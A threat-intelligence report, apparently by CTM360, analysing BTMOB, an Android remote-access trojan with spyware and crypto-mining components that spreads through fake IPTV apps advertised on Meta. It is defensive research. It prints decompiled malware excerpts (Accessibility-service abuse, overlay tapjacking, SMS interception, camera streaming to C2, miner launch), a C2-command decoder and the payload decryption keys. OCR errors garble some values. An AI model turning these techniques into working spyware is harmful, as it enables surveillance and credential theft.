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Overview

CTM360 analyzed a cluster of malicious Android applications distributed social media ads,
which redirect users to sites promoting free streaming/IPTV style services. The primary
sample examined in depth masqueraded as a legitimate Android application but
demonstrated functionality consistent with a multi-component Android threat. The
application combined a BTMOB-style remote access component, surveillance-oriented data
collection, command-and-control communications, and mining-related infrastructure.
Analysis further revealed the use of techniques to bypass Google Play Protect, enabling
installation and execution while reducing the likelihood of user facing security warnings.

Following up on CTM360's previous report on BTMOB, which initially identified activity
targeting Pakistan, subsequently revealed that the campaign operates on a much broader,
global scale. This report focuses on detailed analysis of a representative APK, supported by
broader corpus-level scanning across 344 Android APKs. Of these, 101 APKs contained
recoverable C2 configuration data, while 243 APKs did not expose C2 data through the
applied extraction methods. The recovered infrastructure shows reuse across BTMOB
variants, including 23 unique C2 IP addresses, 5 unique lure URLs, and 10 unique domains.
The most common recovered lure URL was famelack[.Jcom, observed across the majority of
C2-bearing APKs, with smaller clusters using fizzio[.]Jtv and watch[.]plex[.]tv.

Several external sources have conducted public analysis of BTMOB; however, this report
expands upon those findings through a deeper technical analysis of a substantially larger,
globally sourced malware sample APK dataset.

The strongest technical observations include BTMOB device identifiers, device enroliment
traffic, installed-application inventory collection, screen and foreground-application
telemetry, WebSocket-based command communication, remote feature configuration,
options for keylogging and notification harvesting, and mining-related communication over
port 8443. The malware also uses layered obfuscation and encrypted payload handling,
including AES/PBKDF2-protected configuration values, staged APK/DEX loading, and
variant-specific extraction chains that required multiple recovery methods to fully
enumerate embedded C2 data.

The samples examined in this report should be treated as a high-risk Android compromise
because they combine a surveillance-style RAT behavior with additional mining-related
infrastructure and operator-controlled functionality. The mining endpoint is located at
aptabase[.]jesfeoqrj3[.]xyz:8443 resolving to 147[.193[.]153[.1119:8443 should be prioritized
for blocking, monitoring, and retrospective hunting. Additional priority indicators include the
/yaarsa/private/ C2 path and recovered C2 infrastructure associated with the broader APK
corpus.

Copyright @2026 CTM360®


https://www.ctm360.com/reports/btmob-driven-android-malware-pakistan

TLP: CLEAR ° C-TM360®

@ INDUSTRY COUNTRY @ REGION -1 DATE
Financial Global N Al E22%] June 2026

BTMOB Summary

Whatltls

BTMOB is a multi-component Android trojan distributed through fake streaming and IPTV
apps. It combines remote-access spyware, banking-overlay credential theft, and silent
cryptocurrency mining into a single, operator controlled framework that is reused across
regions and lure themes.

Scale & Reach

* 344 Android APKs samples reviewed across the wider campaign
* 101 APKs samples with active C2 configuration recovered

e 23 unique C2 IP addresses, 10 domains and 5 lure URLs identified
e 60+ countries targeted with localized streaming and IPTV lures

Why It Matters

» Banking risk: overlay injection and SMS/OTP capture enable credential theft against
banking and fintech apps

» Persistent control: operators retain remote access via WebSocket C2 long after the
lure app is forgotten

* Reusable framework: the same kit is rebranded across regions, so disrupting one
variant does not stop the operator

« Account takeover risk: browser monitoring, keylogging and notification harvesting can
expose credentials

e Monetization beyond fraud: silent mining drains device resources and gives operators
another revenue stream

Immediate Actions
» Block and hunt for traffic to the 23 identified C2 IPs and the /yaarsa/private/ HTTP path

» Audit managed Android devices for sideloaded APKs and unexpected
Accessibility-service grants

* Run customer-awareness campaigns warning against installing streaming or IPTV apps
outside official stores
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Infrastructural Footprint Technical Observations
Analysis across 344 Android APKs revealed: ° Surveillance: Keylogging, notification

. harvesting, and foreground telemetry.
° 101 APKs contained recoverable C2

configuration data. ° C2 Channels: WebSocket-based
command communication and remote

° 23 unique C2 IP addresses and 10 unique config.

domains. . . o
e  Mining: Active communication over port

8443 (aptabasel.ljesfeoqrj3[.1xyz).

o ° Obfuscation: AES/PBKDF2 encryption
° Small clusters using fizzio[.]Jtv and and staged DEX loading.

watchl[.]plex[.]tv.

° famelack[.]Jcom: Most common
recovered lure/URL.

Key Findings

The sites containing the malicious APKs are primarily promoted through the Meta Platforms, where
CTM360 has observed more than 1000+ Meta advertisements over the past month targeting users
across 60+ countries

e Overthe six months, CTM360 has observed a total of 450+ sites propagating the malicious APKs
through the use of streaming/IPTV platforms, the sites have been provided in Appendix A.

CTM360 reviewed 344 Android APKs linked to related streaming/IPTV-themed distribution activity; 101
aligned with the BTMOB variant.

The detailed reverse engineering in this report focuses on one representative APK, while the broader
corpus confirms the activity is campaign-level rather than isolated.

° The representative malware chain includes a dropper, staged payload delivery, a second-stage Android
payload and a cryptocurrency-mining component.

Runtime traffic shows device enrollment, heartbeat messages, C2-controlled feature toggles, HTTP polling
and WebSocket command activity.

Observed capabilities include AccessibilityService abuse, overlay injection, SMS and contact access,
screen/camera/microphone collection paths, persistence and remote operator control.

Priority blocking and hunting should focus on /yaarsa/private/ traffic, yarsap_80541.php, user_email
registration tokens, BTMOB runtime identifiers and miner infrastructure on port 8443.
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FRAUD STAGES:

CTM360 Fraud Navigator

CTM360 Fraud Navigator, inspired by the MITRE framework, is an analysis of the
observed scams showing how the scammers navigate through different stages of the
scam. Fraud Navigator is a tool that categorizes common scam techniques, providing
insights into typical patterns of fraudulent activity. Built on the MITRE model, it identifies
six key stages in a scam: resource development, trigger, distribution, target interaction,
motive, and monetization.

There are commonly 2 phases in the scam, represented as Phase 1 (in white) & Phase 2

(in grey).
The Fraud Navigator framework has been mapped below to show how it alighs with

each stage of the newly identified scam variants. This helps highlight how the scams
evolve across both phases.

Hosting — e Shared Hosting Website —* Bogus Website
PRI ‘ Social Media Impersonated
Domain _':: oA Profile Account
— Subdomain

A Fake Mobile
S |
Resource Target eP hep
Development | MaWware  ——— BTMOB 9
lp —_— Interaction
—e Online Banking
Curiosity & (@,% Credential —T—=*  Payment Wallet
Contextual JE— Curiosity (W) Harvesting o
Hooks
e OTP collection
o —®  Login information
Trigger
l Payload | S Crypo-Miner
Delivery __ Payload
Ads — Facebook Credit/Debit Card
Ads transactions
Social media Payments
posts kst (Posiis Bank Account
Transaction

Distribution Monetization
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Observations - Distribution

Fraudulent Fake Ads

These sites are primarily propagated through advertisements across Meta platforms,
including Facebook, Instagram, Messenger, Meta Audience Network, and Threads. The
ads typically promote features of the streaming platform, such as “1000+ Channels"” and
“Live Sports & News,” and contain links that redirect users to the malicious streaming
sites. Furthermore, due to the use of the Meta Audience Network, these advertisements
are distributed beyond Meta-owned applications into third-party mobile apps and
websites, significantly increasing the reach and visibility of the malicious campaigns and
enabling the operators to target a broader audience across the web.

Over the past month, CTM360 has identified more than 1000+ fake advertisements
targeting users across 60+ countries.
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Observations - Countries Targeted

Multiple countries observed

CTM360 has observed these malicious streaming campaigns being promoted primarily
through the Meta Ads and targeting users across multiple countries, with each campaign
tailored to the local audience. The themes, branding, and lures used in the advertisements
often align with content that is currently popular within the targeted region, including
trending sports events, news channels, movies, and entertainment platforms.

This level of localization indicates a sophisticated and well-coordinated operation, where
threat actors actively adapt their social engineering tactics to maximize user engagement
and increase the likelihood of successful infections. By leveraging region-specific
interests and high-demand content, the campaigns are able to appear more legitimate and
significantly improve their chances of attracting victims.

Countries Observed

England Philippines Nepal Mexico India

Nigeria France Spain Morocco +50 More
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Observations - Templates and Variations

Our investigation into the sites hosting these malicious APKs revealed extensive reuse of
templates and naming conventions, with localized variations tailored to specific countries
and regions. CTM360 has identified more than 25 template variations currently being
used to distribute these malicious streaming APKs.

Most of these templates follow a consistent naming pattern, where a randomly generated
affix (e.g., KB, NB, AC) is combined with the suffix "TV."

'V, News, Sports & M

GGTV - Live TV, News, Sports & More. NBTV - A1g¥ fooft, 7R, @ega 2 om...

GGTV LumeTV NBTV

TV, sports,
DPTV - Live TV, News, Sports & More.. ACTV - Live TV, News, Sports & More... i ows

)

DPTV ACTV HeartTV

¥
18] ocrv

e KBTV - Live TV, News, Sports & More.
LETV - Live TV, News, Sports &
More...

LETV DCTV KBTV
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APK Corpus Coverage

The BTMOB assessment was not limited to one APK. A broader scan was used to
establish campaign scale before the representative deep dive.

344 101 1

Representative APK deep dive

Android APKs reviewed BTMOB-aligned variants

. . Used to explain the end-to-end
Collected from related Aligned by repeated static and malware chain
streaming/IPTV-themed activity runtime indicators

Corpus Interpretation

CTM360 reviewed 344 APKs associated with the wider campaign. 101 APKs aligned with the
BTMOB variant. The detailed technical narrative uses one representative APK to explain the
chain clearly, while the wider corpus confirms that the behavior is not isolated to a single file.

BTMOB-aligned share of reviewed APK corpus

101 BTMOB-aligned variants

243 reviewed APK samples did not expose recoverable C2 data or
enough evidence to confirm BTMOB alignment.

Approximate ratio: 29% of reviewed APKs showed BTMOB variant alignment.

Note: The I0C appendix at the back of this report lists MD5 hashes for the 101 C2-bearing APKs only. The remaining 243 samples
shared some static traits but lacked active C2 infrastructure at time of analysis.
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Application Installation & Permission Flow

The screenshots below depict the installation workflow of the malicious apk, beginning with a
user-initiated download and progressing through a series of installation and configuration prompts.
After installation, the application displays to the user a fake “Google Play Update” prompt to bypass
suspicion. The sequence demonstrates how the application leverages system dialogs and

configuration screens to obtain elevated privileges, culminating in the malicious application being
granted Full Access to the victims device

At =il 2%%

< Accessibility

€9 Recommended for you

@ TalkBack

@ Vision enhancements

G Hearing
Advanced settings

Installed apps @

12:43 A® N Rl 2% #

' Google Play

Update Available

To use this app, download the latest version.

GDNTV
€ Everyone 7.4 MB

What's new
Last updated Jan 4th, 2026

We're always making changes and improvements to
this app. To make sure you don't miss a thing, just keep
your Updates turned on.

- Bug fixes and performance improvements.

- Critical security vulnerability patch.

Ratings and Review

Ratings and review are verified and are from people who
use the same type of device that you use.

5
4.6 -
. 3
*hkkd 2
110,681 1

<

1243 AO N Bl 2% #

n Sla

Do you want to install this app?

Cancel Install

12:45 A ©

Installed apps

Sla  off

This app requires access permission
to work. Please allow to continue.

Allow Sla to send you notifications?

Allow

Don't allow

Allow GDNTV to have full control of
your phone?

Full control is appropriate for apps that help you
with accessibility needs, but not for most apps. It

includes these permissions:
% View and control screen

Used to read all content on the screen and
display content over other apps

& View and perform actions
Used to track your interactions with apps or
hardware sensors and to interact with apps
on your behalf

Uninstall Deny

Step 4-6: Once installed, the app demands Accessibility permission under the pretext of needing it "to function" — granting full

device control.
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Threat at a Glance

Field Observation

Threat type Android RAT, spyware, overlay abuse and miner

Initial lure Fake streaming, IPTV and free-TV themed app delivery
Primary package/dropper com.orognd.trisyectetd (Yarmouth)

Core channel /yaarsa/private/yarsap_80541.php + WebSocket

Indicators 148[.]113[.]5[.]25:8080, aptabasel.]jesfeoqrj3[.]xyz

Strategic Risk Drivers & Multi-Sector Impact

Permissions Control Stealth

SMS, contacts, camera, microphone, Operators can update runtime options Encrypted assets, native loader, split
overlay, storage and install privileges and command categories remotely packages and obfuscated strings
Impact: Users Impact: Banks Impact: Telecoms

Account takeover, privacy exposure, Credential theft, OTP interception, SMS abuse, device reputation and
financial fraud risk, device slowdown support fraud and mule workflows customer support burden

THREAT

CORE
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Application Identity & Structure

Component

Dropper Package

Payload Package

Miner Package

Decoy site

Observed Value

com.orognd.trisyectetd

com.Irzdt.geysers

com.dggsjx.intergacgcessory

famelack[.Jcom

Role / Description

Initial app (Yarmouth), fake Google update installer

Main RAT/spyware payload package (Sla)

Separate package for miner execution

Cover content shown after permission grant.

Package Relationship & Component Architecture

Dropper

com.orognd.trisyectetd

Visible application layer and initial

entry pointfor the device.

-~

Payload Miner

Core RAT / spyware package
managing C2 communications.

Background crypto-mining module
for resource theft.

com.lrzdt.geysers com.dggsjx.intergaccessory

&

The architecture separates the visible application, the control payload, and the mining component. This design
allows specialized packages to perform distinct roles while preserving a shared command-and-control (C2)

model.

12:39

{1

Lo

LT RN

) L /;’7\:9 Al 2% #

Search (Contains)

0.166.406 s...
User#

Sla

com.lrzdt.geysers
23/05/2026

CN

10260

SHATwithR...

android

v15.0.11--2...
User#

SDK 28
SHA384wit...

Yarmouth
com.orognd.trisyectetd
23/05/2026

CN=r '\"v'j

Runtime view: visible app labels observed during testing.
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Two-Stage Malware Architecture

BTMOB is a multi-component Android threat. The dropper hides and decrypts content, while the second-stage
payload and miner deliver the primary risk.

Stage 2 Why it Matters
o e e Payload
° Logic hidden from

RAT / Spyware

Stage 1Dropper Hidden Asset Runtime Loader initial shell

Fake update Encrypted archive In-memory . Bypasses standard

wrapper loading Miner detection
Component o Reduced analysis
Native visibility

crypto-miner

Confirmed Loader Elements

Element Evidence Summary

assets/yjVmlOo 8.1 MB high-entropy encrypted archive
libunfurls.so Native library loaded by dropper
bootstrap.dex Loads installer DEX; performs class injection

Extraction Chain & Code Analysis

BTMOB_21_MAY\apk\
assets\yjVmI@o (8.1 MB) - Encrypted archive (high entropy)
base.apk (contains libunfurls.so internally)
assets\yjVmIQo_extracted\bootstrap.dex (13 KB) - Loads installer DEX; class injection
assets\yjVmIQo_extracted\ (decrypted contents)

—— bootstrap.dex

— classes.dex (616 KB)

— installer.dex (270 KB)

— dimages.zip (744 KB)

— dinstall_library.zip (2.5 MB)

— payload_split@.apk (1.9 MB)

— payload_splitl.apk (2.6 MB)

— payload_split2.apk (1.2 MB)

— miner.apk (0 KB — placeholder)

— miner_config.json (0 KB)

— payload_config.json (0 KB)

Extraction chain and code analysis showing the APK structure, encrypted asset archive, decrypted payload contents,
installer DEX loader, and embedded split APK components used in the malware deployment flow.
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Extraction Chain

The sample decrypts a large encrypted asset into a ZIP container holding DEX loaders, APKs, and
configuration files.

base.apk assets/yjVmlOo . AES-128-CBC . Decrypted ZIP
9 MB ! 8.1 MB Encrypted Decryption 11 Files
Decrypted Archive Contents
File Purpose
bootstrap.dex Small DEX loader; decrypts and injects additional code
installer.dex Installer logic; contains classes for deployment
payload_split0.apk Payload manifest and package identity
payload_splitl.apk Main trojan engine and Accessibility logic
payload_split2.apk Resources used by payload
miner_config.json Miner configuration
payload_config.json Payload configuration
images.zip Overlay Ul assets and Google Play icons
install_library.zip Native libraries and installation support
classes.dex Main application DEX bytecode
miner.apk XMRig-based Monero miner payload

[+] Seed: b'yjVmIGo2®

[+] AES Key: c7ala47c978407dfed4adef73f3e241d4

[+] AES IV: d48331e4d79cbcfll631f2cead9be543

[+] Read 8,521,120 bytes of encrypted data

[+] Decrypted 8,521,111 bytes (PKCS7 padding removed)

[+] Saved decrypted archive: C:\Users\ [REDACTED] \BTMOB_21_MAY\apk\assets\yjVmI@o_extracted
\..\yjVmIGo_decrypted.zip

[+] Extracting to: C:\Users\ [REDACTED] \BTMOB_21_MAY\apk\assets\yjVvmI@o_ extracted

EXTRACTION RESULT — 11 files

bootstrap.dex 13,184 bytes -> Loads installer DEX; class injection
classes.dex 630,568 bytes -> Main application DEX
images.zip 761,725 bytes -> UI assets (fake screens)
install_library.zip 2,638,732 bytes -> Native .so libraries
installer.dex 276,214 bytes -> Installation logic
miner.apk @ bytes

miner_config.json 221 bytes -> XMRig miner config
payload_config.json 281 bytes -> Payload component
payload_splite.apk 2,088,984 bytes -> Payload component
payload_splitl.apk 2,702,687 bytes -> Payload component
payload_split2.apk 1,262,526 bytes -> Payload component

Total: 10,295,122 bytes uncompressed

CRYPTO SUMMARY (for reports)

Algorithm: AES-128-CBC / PKCS7
Key: c7alad7c978407dfe4a%ef73f3e241d4
Iv: d48331e4d79cbcf11631f2cead96e543

Key derivation: SHA-1(asset_name + '2')[:16]
IV derivation: SHA-256(asset_name + '2')[:16]
Encrypted: 8,521,120 bytes

Decrypted: 8,521,111 bytes

Decryption and extraction output showing the encrypted asset successfully unpacked into 11 files, including DEX loaders, payload split APKs, configuration
files, native libraries, and the AES-CBC cryptographic parameters used in the extraction process.
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Identifying High-Risk Permission
Clusters

The combination of Accessibility Service, C2 control, and overlay injection creates a high-risk profile,
even if individual permissions appear benign.

Device Control Messaging Surveillance

Risk: Screen reading & actions Risk: OTP & SMS fraud Risk: AV capture

e.g., BIND_ACCESSIBILITY_SERVICE e.g., READ_SMS, CALL_PHONE e.g., CAMERA, RECORD_AUDIO
Persistence Installation Storage/Data

Risk: Auto-reactivation Risk: Payload deployment Risk: Data exfiltration

e.g., RECEIVE_BOOT_COMPLETED e.g., REQUEST_INSTALL_PACKAGES e.g., MANAGE_EXTERNAL_STORAGE

N AndroidManifestxml X

decompiled > base_apk > resources > ™ AndroidManifest.xml
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"

8 platformBuildVersionCode="34"

9 platformBuildVersionName="14">

10 <uses-sdk

11 android:minSdkVersion="26"

12 android:targetSdkVersion="28"/>

13 <uses-permission android:name="android.permission.INTERNET"/>

14 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
15 <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"
16 <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>

157 <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

18 <uses-permission android:name="android.permission.WAKE_LOCK"/>

19 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
20 <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OP
2l <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>

22 <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/
23 <application

24 android:label="Yarmouth"

e

Android Manifest analysis highlighting critical permission requests and service declarations.

N AndroidManifestxml X

decompiled > payload_split1 > resources > ™ AndroidManifest.xml
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"

78 <application

370 <service

376 <service

B modulatorexecutor="&gt;&1t;65df6d10&gt;\10&1t;!-- 9baledfe --&gt;
378 android:label="0x7f0f0000"

379 android:name="sensor.inspector.indexer.epqldnjcgrbk"

380 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE
381 android:enabled="true"

382 android:exported="false"

383 android:configChanges="screenSize|orientation"

384 android:foregroundServiceType="systemExempted" >

385 <intent-filter>

386 <action android:name="android.accessibilityservice.Accessibil
387 </intent-filter>

388 <meta-data

389 android:name="android.accessibilityservice"

390 android:resource="0x7f120000" />

Decompiled code showing implementation details of accessibility service and risk-based logic.
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Threat Capability Map

BTMOB capability areas mapped by function and Admiralty-coded evidence strength.

Spreading Threats Data Theft
Overlay Injection n SMS & Contact Theft n

App detection triggers fake dialogs or WebView overlay logic. SMS receiver and contact-provider queries confirmed.

Banking Targeting n

Overlay capability can target C2-pushed app lists dynamically.

data theft and silent mining.

Evidence basis: static reverse engineering, decoded configuration and runtime traffic

Core Threat Profile
Staged Android malware combining RAT control, spyware, overlay abuse,

— - —

Control

Remote Control n

Cryptomining n 30+ decoded C2 commands confirmed across dispatcher

cases.

Persistence n

Boot receiver and stored runtime configuration confirmed.

Native d-miner launch with pool arguments confirmed.

Spying
Surveillance n Accessibility Monitoring n

Camera API captures preview; AudioRecord Service reads screen hierarchy and tracks
transferred foreground changes.

Admiralty Code: A1 = reliable source + confirmed information | A2 = reliable source + strong supporting evidence
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Code Analysis: C2 Commands & Miner

Detailed source code excerpts revealing C2 command structures, miner initialization, and
surveillance capabilities.

® decode_c2_commands.py > ...
1 import base64

2

3 def rfo(si, s2):

4 bl = base64.b64decode(sl.strip().encode())

5 b2 = base64,b6ddecode(s2.strip().encode())

6 res = bytearray()

7 for i in range(len(bl)):

8 res.append(bi[i] A b2[i % len(b2)])

9 return res.decode('utf-8', errors=‘replace')

10

11 print("=== C2 Commands (d©.java:149-472) ===")

12 print()

13

14  cowmmands = [

15 (8, "dFKT", "Ayt4tezDg/k="), # case 118600

16 (1, "uTFe7Xw=", "1lkEqgw/Psmn="), # case 105962424
17 (2, "“GGEm", "eQVCK8+xbQu="), # csse $6417

18 (3, "qTKA4gA=", "xVjlgXSch/g="), # case 102998360
19 (4, T"ra2shg==", "SP384QdGyKU="), # case 3537110
28 (5, "oOMjrw==", "xopPygVym@o="), # case 3143036

"1 le NryIan NO AV RaLN .\ B amms ATTIOT
PRORLEMS OUTPUT DEBUC CONSOLE TERMINAL PORTS
FLARE-VM 85/23/2825 13:36:24

©® PS C:\Users\ USER_NAME\BTMOB_21_MAY > python C:\Users\ USER_NAME\BTNOB_21_MAY\decode_c2_commands.py
=== C2 Commands (d@.java:149-472) ===

case O: command='wrk ' handler=e(new p60(...)) -> exscute work / command
case 1: [conmand="optns handler=E(updateConfig) -> update C2 config

case 2: |command='add handler=d.q(context) -> add app / target

case 3: |command='lject handler=D(jSONObject) -> inject classes / code
case 4: |command='spng handler=d.e(context) => spam SNS

case 5: (command='file handlar=0(jSONObject) -> file download / upload
case 6: |command='bot handler=j(jSONObject) -> bot status / control
case 7: |command='clone handler=m(jSONObject) -> clone app

case 8: [commands’fetch handler=n(jSONObject) -> feteh data frem device
case 9: |command='srh handler=u(jSONObject) -> search device content
case 18: |command='upload handler=y(jSONObject) -> upload files to C2
case 11: |conmand='screen handler=t(jSONObject) -> capture screen / screenshot
csss 12: [conmand=‘mic handlar=q(jSONObject) -> record micrcphone

Decoded C2 command mabping from the malware, reveéling remote-control cépabilities such as configuration
updates, data theft, uploads, screenshots, and microphone recording.

File: deobfuscated/com/orognd/trisyectetd/Miner.java
The Process object proves a SEPARATE binary (not Java code) is run.
process.destroy() can only kill an external native process.
private Process workerProcess = null;

This variable holds a handle to the running miner process
public void startMining() {

This method creates a thread that launches the miner
process.destroy();

This kills the native miner binary (not Java)

PROOF 2: libmine-armé64.so is AES-encrypted, not a real library
File: decrypt_miner_binary.py
The miner binary is stored ENCRYPTED and decrypted before running.
Key derivation is weak/static (no randomization):
filename = b'd-miner’
The seed for key derivation is the filename itself
key = hashlib.shal(filename).digest()[:16]
AES-128 key = first 16 bytes of SHA-1('d-miner')
iv = b'\xee' * 16
IV is all zeros - weak, no randomization
cipher = AES.new(key, AES.MODE_CBC, iv)
Algorithm: AES-128-CBC with PKCS5 padding
Result: decrypted output is a 64-bit ELF binary
(ELF header \X7fELF confirmed at offset )

PROOF 3: miner_config.json confirms mining configuration

Eile: 2ok s /usumTo; d/miner config Sson

{"isRemoteControl": false, "isTestKeyEnabled": false, "splits": ["yjVmI@ominer.apk"], "subscriptionEndMillis": 4611686018427387903, "messageAuthenticationCode": "eVAmHju3UgrViW
56g0MalUQ==", “"simpleInstaller": “deprecated"}
subscriptionEndMillis = 4611686018427387903
-> This is the MAXIMUM inté4 value (never expires)
-> Mining runs effectively forever
-> No time limit on the mining operation

LT

L L]

Reverse-engineering evidence showing an AES-encrypted native miner payload, decrypted ELF binary, and
configuration confirming long-running mining behavior.
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Code Analysis: Accessibility & Overlay

Detailed source code excerpts revealing C2 command structures, miner initialization, and
surveillance capabilities.

EVIDENCE: Accessibility Monitoring (Screen Reading + Keylogging)
The malware registers as an Android Accessibility Service, which
grants it permission to read all on-screen content from ANY app,
track user input, and capture screenshots without notification.

PROOF 1: Service declared in AndroidManifest with BIND_ACCESSIBILITY
File: payload_splitl/resources/AndroidManifest.xml (lines 377-391)

This permission allows system-level access to UI events
<action android:name="android.accessibilityservice.AccessibilityService"/>
Intent filter registers as system accessibility service

PROOE 2: Class extends AccessibhilityService (system—level access

File: sensor/inspector/indexer/epqldnjcgrbk.java (lines 81)

This is the core - extends system AccessibilityService class

PROOF 3: getRootInActiveWindow() reads ALL on-screen text
File: epgqldnjcgrbk.java (line 796)

rootInActiveWindow = this.b.getRootInActiveWindow();
This reads the complete UI tree from ANY app running
including passwords, OTP codes, chat messages, etc.

PROOF 4: onAccessibilityEvent() handles every UI event
File: epgldnjcgrbk.java (line 2271)

public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
Fires on every UI change - app switches, button clicks
text input, notification arrivals, etc.

PROOF 5: takeScreenshot() captures screen without user knowing
File: epqldnjcgrbk.java (line 3091)

Captures the device screen at any time - no indicator shown

VERDICT: Accessibility Monitoring - CONFIRMED

1. BIND_ACCESSIBILITY_SERVICE permission grants system UI access
2. getRootInActiveWindow() reads all text (keylogging/capturing)
3. onAccessibilityEvent() tracks every app and user action

4. takeScreenshot() captures the screen silently

Android Accessibility Service abuse, showing the malware’s ability to read on-screen content, monitor Ul events,
capture sensitive input, and take screenshots without user visibility.

EVIDENCE: Overlay Injection (Tapjacking / Invisible UI)

The malware draws invisible windows over legitimate apps to
intercept user taps, steal credentials, and hide malicious
activity. This is 'tapjacking' — the user can't see the overlay.

PROOF 1: WindowManager.addView() overlay with TYPE_APPLICATION_OVERLAY
File: s.java (lines 1236-1245)
Overlay type: 2038 = TYPE_APPLICATION_OVERLAY (API 26+)
2003 = TYPE_PHONE (legacy fallback)

WindowManager windowManager = (WindowManager) context.getSystemService(rf@.a("/cosUKK1\n", "igNCNM3CnCg=\n"));
final SurfaceView surfaceView = new SurfaceView(context);
surfaceView.setBackgroundColor(Color.parseColor(rf0.a("qbDwz/Rd+Ylm6\n", "iwwDzSdOUmk=\n")));
surfaceView.setFocusable(true);

surfaceView.setClickable(true);

Chooses overlay type based on Android version
layoutParams.gravity = 8388659;
layoutParams.x = 8;
layoutParams.y = 8;
windowManager. addV1ew(surfaceV1ew layoutParams);
Adds an invisible 8x8 pixel overlay to the screen

PROOF 2: AccessibilityService overlay via TYPE_ACCESSIBILITY_OVERLAY
File: epqldnjcgrbk.java (lines 1117-1125)
Type 2032 = TYPE_ACCESSIBILITY_OVERLAY - bypasses SYSTEM_ALERT

Uses 2032 (TYPE_ACCESSIBILITY_OVERLAY) - no user prompt

view.setOnTouchListener(new View.OnTouchListener() { // from class: subsystemnotary.analyzerdiffuser.simulatortranslatorx.moduleaggregatorx.ke
@Override // android.view.View.OnTouchListener
public final boolean onTouch(View view2, MotionEvent motionEvent) {

return this.a.e@(rect, view, layoutParams, str3, str2, view2, motionEvent);

}

b;

layoutParams.gravity = 8388659

addView with LayoutParams places overlay on screen

PROOF 3: Static WindowManager + LayoutParams for global overlays
File: epqldnjcgrbk.java (lines 82-85)

public static WindowManager D = null;

Global WindowManager instance for system-wide overlays
public static WindowManager.LayoutParams E = null;
public static FrameLayout F = null;
public static WindowManager.LayoutParams j@ = null;

PROOF O: Overlay-attack KilU chain

Overlay injection and tapjacking, showing the malware drawing windows over legitimate apps to capture credentials
and trick users into authorizing malicious actions.
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Code Analysis: SMS & Surveillance

Source excerpts revealing SMS and USSD interception alongside covert camera and
microphone surveillance capabilities.

EVIDENCE: SMS Interception & USSD Abuse

The malware intercepts incoming SMS via BroadcastReceiver,
extracts sender + message body, sends premium-rate SMS,

and executes USSD codes (e.g. call forwarding) without consent

PROOF I: SWS permissions in
File: AndroidManifest.xml (payload_splitl)

READ_SMS -> read all messages, RECEIVE_SMS -> intercept
SEND_SMS -> send premium-rate SMS at victim's cost

PROOF 2: uzppgpokxeylycofvns.java - SMS BroadcastReceiver
FIle: UZPPYPORKeyLycoTvAs.java (Tull FTIle ShownJ

BroadcastReceiver intercepts SMS system-wide
public void onReceive(Context context, Intent intent) throws Throwable {
Triggered on EVERY incoming SMS message
for (SmsMessage smsMessage : Telephony.Sms.Intents.getMessagesFromIntent(intent)) {

Decodes SMS PDU - captures sender address + body

String originatingAddress = smsMessage.getOriginatingAddress();
Extracts sender number and message content

mo.d(strB + rfe.a("QQ==\n", "PT6jOcYbBu®=\n") + originatingAddress + rf@.a("Tw==\n", "M9Cr277puLe=\n") + smsMessage.getMessageBody() + rf0.a("bw==\n", "Ez/Jx1xEnMw=\n") + p@.i(), m0.b.b);
Extracts sender number and message content

PROOF 3: s0.java sends SMS via SmsManager (C2 'spng' command)
File: s@.java (lines 242-282)

Sends SMS to any number (premium-rate scam)

Sends SMS to any number (premium-rate scam)

PROOF 4: USSD abuse via TelephonyManager
File: r@.java (lines 54-58)

Teley yManager telephonyManager = (Telepl nager) this.a.getSystemService(rf@.a("+K3TOE8=\n", "iMW8virseNY=\n"));
if (telephonyManager == null || Build.VERSION.SDK_INT < 26) {

return;
}

Executes USSD codes like *21x# (call forwarding)

SMS interception and USSD abuse, showing the malware requesting SMS permissions, registering a
BroadcastReceiver to capture incoming messages, sending SMS through C2 commands, and executing USSD codes
without user consent.

EVIDENCE: Surveillance (Camera + Microphone Recording)

The malware captures camera feed and records microphone audio
without user consent. It uses WebSocket to stream data live
to the C2 server for real-time surveillance

PROOF 1: Camera permission in AndroidManifest
File: AndroidManifest.xml (payload_split1)

Grants access to the device's camera hardware
NOTE: RECORD_AUDIO permission not in manifest (may be
granted via accessibility or sideloaded later)

PROOF 2: ywixqmfpwvnabf.java - Camera.open() + WebSocket stream
File: ywixqmfpwvnabf.java (Service - extends Service)

import android.hardware.Camera;
private final WebSocketListener h = new a();
WebSocket setup => streams camera data to C2 server
W = this.k.newWebSocket(new Request.Builder().url(re.c()).build(), this.h);
WiebSocket setup => streams camera data to C2 server

Opens the camera for live feed capture
camera. setPreviewCallback(null);
Captures every camera frame as it arrives

Opens the camera for live feed capture
camera.setPreviewCallback(new b());

Captures every camera frame as it arrives

Opens the camera for live feed capture

PROOF 3: gz.java - AudioRecord for microphone surveillance
File: gz.java (lines 65-92, 215-223)

import android.media.audiofx.AcousticEchoCanceler;
Echo canceller improves recording quality

AudioRecord captures raw PCM audio from microphone
AcousticEchoCanceler. create(audioRecord2.getAudioSessionId());
Echo canceller improves recording gualit

PROOF 4: C2 commands enabling surveillance

The 'screen' command triggers takeScreenshot() from
epqldnjcgrbk. java (accessibility service). The 'mic' command
triggers AudioRecord capture in gz.java streaming to C2

camera and microphone surveillance, showing the malware requesting camera access, opening the device camera
through a WebSocket stream, recording audio through AudioRecord, and exposing C2 commands for screenshot,
camera, and microphone capture.
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Code Analysis: Persistence & Auto-Start

Source excerpts showing the persistence and auto-start mechanisms (BootReceiver, foreground
service, and JobScheduler) used to survive reboots and resist removal.

EVIDENCE: Persistence & Auto-Start Mechanisms

The malware ensures it survives device reboots, app kills,
and user uninstall attempts. Multiple overlapping persistence
mechanisms make removal extremely difficult.

PROOF 1: BootReceiver auto-starts on device boot
File: BootReceiver.java

BroadcastReceiver fires when Android boots
public void onReceive(final Context context, Intent intent) {

AndroidManifest.xml boot receiver declaration:
Intent filter for BOOT_COMPLETED - starts on reboot

Intent filter for BOOT_COMPLETED - starts on reboot

